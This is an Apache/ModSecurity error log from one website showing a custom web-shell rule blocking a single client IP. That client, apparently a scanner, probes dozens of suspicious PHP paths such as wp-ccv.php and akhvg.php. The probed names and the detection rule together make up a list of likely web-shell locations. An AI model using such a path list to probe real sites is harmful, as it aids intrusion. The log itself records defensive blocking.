[Sun Apr 19 23:32:52.152686 2026] [:error] [pid 47772:tid 47794] [client 20.215.51.14:7109] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeT1pIc0L16cb4smAz_lxAAAAAU"]
[Sun Apr 19 23:32:52.947727 2026] [:error] [pid 47773:tid 47822] [client 20.215.51.14:7017] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeT1pOiBHdnCJDuPq9BfhwAAAEY"]
[Sun Apr 19 23:32:53.790884 2026] [:error] [pid 47772:tid 47795] [client 20.215.51.14:7103] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/beerd.php"] [unique_id "aeT1pYc0L16cb4smAz_lxgAAAAY"]
[Sun Apr 19 23:32:55.183189 2026] [:error] [pid 15763:tid 15812] [client 20.215.51.14:7032] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeT1p7MXv1Y1THOoxaAceAAAAhA"]
[Sun Apr 19 23:32:55.984486 2026] [:error] [pid 47772:tid 47791] [client 20.215.51.14:7002] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeT1p4c0L16cb4smAz_lzAAAAAI"]
[Sun Apr 19 23:32:57.057444 2026] [:error] [pid 47775:tid 47866] [client 20.215.51.14:7096] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeT1qbmztjlk9tsmoewvFwAAAJc"]
[Sun Apr 19 23:32:57.937928 2026] [:error] [pid 15760:tid 15779] [client 20.215.51.14:7026] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lb.php"] [unique_id "aeT1qfSdD_XHQMJ_ISt0PwAAAcs"]
[Sun Apr 19 23:32:58.793768 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:7042] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeT1qvSdD_XHQMJ_ISt0QgAAAck"]
[Sun Apr 19 23:32:59.824640 2026] [:error] [pid 47886:tid 47912] [client 20.215.51.14:6980] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeT1q0Se8yiyuPrD7yOLFAAAANg"]
[Sun Apr 19 23:33:00.734375 2026] [:error] [pid 47886:tid 47897] [client 20.215.51.14:7094] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeT1rESe8yiyuPrD7yOLFQAAAMk"]
[Sun Apr 19 23:33:01.523969 2026] [:error] [pid 47886:tid 47907] [client 20.215.51.14:7100] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xa.php"] [unique_id "aeT1rUSe8yiyuPrD7yOLFgAAANM"]
[Sun Apr 19 23:33:02.407916 2026] [:error] [pid 15760:tid 15782] [client 20.215.51.14:7107] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeT1rvSdD_XHQMJ_ISt0TgAAAc4"]
[Sun Apr 19 23:33:03.197514 2026] [:error] [pid 47772:tid 47811] [client 20.215.51.14:7054] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeT1r4c0L16cb4smAz_l1gAAABY"]
[Sun Apr 19 23:33:03.918938 2026] [:error] [pid 47772:tid 47813] [client 20.215.51.14:6991] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeT1r4c0L16cb4smAz_l2wAAABg"]
[Sun Apr 19 23:33:04.672528 2026] [:error] [pid 15760:tid 15792] [client 20.215.51.14:7114] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-ccv.php"] [unique_id "aeT1sPSdD_XHQMJ_ISt0UQAAAdg"]
[Sun Apr 19 23:33:05.413683 2026] [:error] [pid 15763:tid 15803] [client 20.215.51.14:7007] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqagu.php"] [unique_id "aeT1sbMXv1Y1THOoxaAcewAAAgc"]
[Sun Apr 19 23:33:06.284943 2026] [:error] [pid 47886:tid 47910] [client 20.215.51.14:7068] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqagu.php"] [unique_id "aeT1skSe8yiyuPrD7yOLGAAAANY"]
[Sun Apr 19 23:33:07.047956 2026] [:error] [pid 15760:tid 15792] [client 20.215.51.14:7136] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqagu.php"] [unique_id "aeT1s_SdD_XHQMJ_ISt0VwAAAdg"]
[Sun Apr 19 23:33:08.061570 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:7080] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dqagu.php"] [unique_id "aeT1tPSdD_XHQMJ_ISt0XgAAAck"]
[Sun Apr 19 23:33:09.431683 2026] [:error] [pid 15763:tid 15819] [client 20.215.51.14:7071] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ckk.php"] [unique_id "aeT1tbMXv1Y1THOoxaAcgQAAAhc"]
[Sun Apr 19 23:33:10.958869 2026] [:error] [pid 47772:tid 47801] [client 20.215.51.14:7012] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ckk.php"] [unique_id "aeT1toc0L16cb4smAz_l5AAAAAw"]
[Sun Apr 19 23:33:56.893876 2026] [:error] [pid 47886:tid 47900] [client 20.215.51.14:7083] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeT15ESe8yiyuPrD7yOLMgAAAMw"]
[Sun Apr 19 23:33:58.044029 2026] [:error] [pid 15694:tid 15733] [client 20.215.51.14:7101] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeT15rimB-jol1fwqAoddgAAAYc"]
[Sun Apr 19 23:33:58.918892 2026] [:error] [pid 47775:tid 47859] [client 20.215.51.14:6914] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeT15rmztjlk9tsmoewvLAAAAJA"]
[Sun Apr 19 23:33:59.712043 2026] [:error] [pid 47772:tid 47811] [client 20.215.51.14:7089] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wxeyc.php"] [unique_id "aeT154c0L16cb4smAz_mGgAAABY"]
[Sun Apr 19 23:34:00.464050 2026] [:error] [pid 47772:tid 47797] [client 20.215.51.14:6941] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeT16Ic0L16cb4smAz_mHwAAAAg"]
[Sun Apr 19 23:34:01.329018 2026] [:error] [pid 47772:tid 47802] [client 20.215.51.14:6917] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeT16Yc0L16cb4smAz_mIgAAAA0"]
[Sun Apr 19 23:34:02.178813 2026] [:error] [pid 15763:tid 15807] [client 20.215.51.14:7164] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeT16rMXv1Y1THOoxaAcrQAAAgs"]
[Sun Apr 19 23:34:02.944624 2026] [:error] [pid 47775:tid 47844] [client 20.215.51.14:7004] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/akhvg.php"] [unique_id "aeT16rmztjlk9tsmoewvMAAAAIE"]
[Sun Apr 19 23:34:03.625004 2026] [:error] [pid 47886:tid 47899] [client 20.215.51.14:6919] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeT160Se8yiyuPrD7yOLNQAAAMs"]
[Sun Apr 19 23:34:04.404405 2026] [:error] [pid 15763:tid 15820] [client 20.215.51.14:7130] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeT17LMXv1Y1THOoxaAcsAAAAhg"]
[Sun Apr 19 23:34:05.143177 2026] [:error] [pid 47886:tid 47903] [client 20.215.51.14:6951] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeT17USe8yiyuPrD7yOLOgAAAM8"]
[Sun Apr 19 23:34:06.051538 2026] [:error] [pid 15765:tid 15872] [client 20.215.51.14:7057] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/home.php"] [unique_id "aeT17vRqinw-W5EwQ74N6QAAApM"]
[Sun Apr 19 23:34:06.781630 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:6922] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "aeT17vSdD_XHQMJ_ISt00wAAAck"]
[Sun Apr 19 23:34:07.512675 2026] [:error] [pid 15760:tid 15785] [client 20.215.51.14:7091] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "aeT17_SdD_XHQMJ_ISt01wAAAdE"]
[Sun Apr 19 23:34:08.518835 2026] [:error] [pid 15764:tid 15841] [client 20.215.51.14:6960] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "aeT18GLL_sqdSHoVp-RIkwAAAk8"]
[Sun Apr 19 23:34:09.498713 2026] [:error] [pid 15764:tid 15843] [client 20.215.51.14:6949] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/HLA-dd.php"] [unique_id "aeT18WLL_sqdSHoVp-RImAAAAlE"]
[Sun Apr 19 23:34:11.149767 2026] [:error] [pid 15760:tid 15770] [client 20.215.51.14:7095] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeT18_SdD_XHQMJ_ISt03gAAAcI"]
[Sun Apr 19 23:34:11.949151 2026] [:error] [pid 15760:tid 15776] [client 20.215.51.14:6980] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeT18_SdD_XHQMJ_ISt04gAAAcg"]
[Sun Apr 19 23:34:12.971770 2026] [:error] [pid 15763:tid 15817] [client 20.215.51.14:6978] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeT19LMXv1Y1THOoxaActQAAAhU"]
[Sun Apr 19 23:34:13.911726 2026] [:error] [pid 47775:tid 47863] [client 20.215.51.14:6988] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hfles.php"] [unique_id "aeT19bmztjlk9tsmoewvOAAAAJQ"]
[Sun Apr 19 23:34:14.745027 2026] [:error] [pid 15764:tid 15837] [client 20.215.51.14:7061] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeT19mLL_sqdSHoVp-RInwAAAks"]
[Sun Apr 19 23:34:15.444829 2026] [:error] [pid 15763:tid 15803] [client 20.215.51.14:7016] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeT197MXv1Y1THOoxaActwAAAgc"]
[Sun Apr 19 23:34:16.307738 2026] [:error] [pid 15765:tid 15857] [client 20.215.51.14:7155] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeT1-PRqinw-W5EwQ74N9gAAAoQ"]
[Sun Apr 19 23:34:16.920148 2026] [:error] [pid 15763:tid 15800] [client 20.215.51.14:7050] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gbhyv.php"] [unique_id "aeT1-LMXv1Y1THOoxaAcvQAAAgQ"]
[Sun Apr 19 23:34:17.553308 2026] [:error] [pid 15693:tid 15711] [client 20.215.51.14:7157] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeT1-cNMD-ccazQlTslnvQAAAU8"]
[Sun Apr 19 23:34:18.293198 2026] [:error] [pid 15763:tid 15814] [client 20.215.51.14:6957] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeT1-rMXv1Y1THOoxaAcwQAAAhI"]
[Sun Apr 19 23:34:19.012821 2026] [:error] [pid 15760:tid 15786] [client 20.215.51.14:7097] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeT1-_SdD_XHQMJ_ISt07AAAAdI"]
[Sun Apr 19 23:34:19.639053 2026] [:error] [pid 15760:tid 15781] [client 20.215.51.14:7035] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/hots.php"] [unique_id "aeT1-_SdD_XHQMJ_ISt07wAAAc0"]
[Sun Apr 19 23:34:20.290622 2026] [:error] [pid 15760:tid 15788] [client 20.215.51.14:7148] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "aeT1_PSdD_XHQMJ_ISt09QAAAdQ"]
[Sun Apr 19 23:34:20.900024 2026] [:error] [pid 15760:tid 15784] [client 20.215.51.14:7065] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "aeT1_PSdD_XHQMJ_ISt0-QAAAdA"]
[Sun Apr 19 23:34:21.501501 2026] [:error] [pid 47773:tid 47840] [client 20.215.51.14:7023] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "aeT1_eiBHdnCJDuPq9BfqwAAAFg"]
[Sun Apr 19 23:34:22.260657 2026] [:error] [pid 47773:tid 47834] [client 20.215.51.14:7142] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oircv.php"] [unique_id "aeT1_uiBHdnCJDuPq9BfrgAAAFI"]
[Sun Apr 19 23:34:23.088119 2026] [:error] [pid 15760:tid 15770] [client 20.215.51.14:7036] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awdld.php"] [unique_id "aeT1__SdD_XHQMJ_ISt0_wAAAcI"]
[Sun Apr 19 23:34:23.695783 2026] [:error] [pid 47773:tid 47826] [client 20.215.51.14:7046] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awdld.php"] [unique_id "aeT1_-iBHdnCJDuPq9BfrwAAAEo"]
[Sun Apr 19 23:34:24.415829 2026] [:error] [pid 15693:tid 15699] [client 20.215.51.14:7011] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/awdld.php"] [unique_id "aeT2AMNMD-ccazQlTslnvwAAAUM"]
